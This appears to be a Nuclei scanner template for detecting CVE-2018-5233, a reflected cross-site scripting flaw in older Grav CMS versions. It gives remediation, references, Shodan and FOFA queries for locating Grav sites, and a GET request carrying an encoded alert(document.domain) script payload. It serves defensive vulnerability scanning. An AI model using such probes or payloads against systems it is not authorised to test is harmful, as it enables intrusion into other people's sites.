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Grav CMS <1.3.0 - Cross-Site Scripting

ID: CVE-2018-5233

Severity: medium

Author: pikpikcu

Tags: cve,cve2018,xss,grav,getgrav

Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.

id: CVE-2018-5233
info:
name: Grav CMS <1.3.0 - Cross-Site Scripting
author: pikpikcu
severity: medium
description: |
Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.
remediation: |
Upgrade Grav CMS to version 1.3.0 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
reference:
- https://sysdream.com/news/lab/2018-03-15-cve-2018-5233-grav-cms-admin-plugin-reflected-cross-site-scripting-xss-vulnerability/
- http://www.openwall.com/lists/oss-security/2018/03/15/1
- https://nvd.nist.gov/vuln/detail/CVE-2018-5233
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-5233
cwe-id: CWE-79
epss-score: 0.00294
epss-percentile: 0.69184
cpe: cpe:2.3:a:getgrav:grav_cms:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: getgrav
product: grav_cms
shodan-query:
- html:"Grav CMS"
- http.html:"grav cms"
fofa-query: body="grav cms"
tags: cve,cve2018,xss,grav,getgrav
http:
- method: GET
path:
- "{{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: body
words:
- '/themes/grav'
- 'Grav Admin Login'
- 'data-grav-'
condition: or
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100ca64aeb6264f8088db8d15f38c76be462d0968410799eb17f0ff3a4d2d679612022100b696e5c33b482b78c1bac1d28c31eca1f32b2b208d44a8e67a9dee47167794ab:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-5233.yaml"

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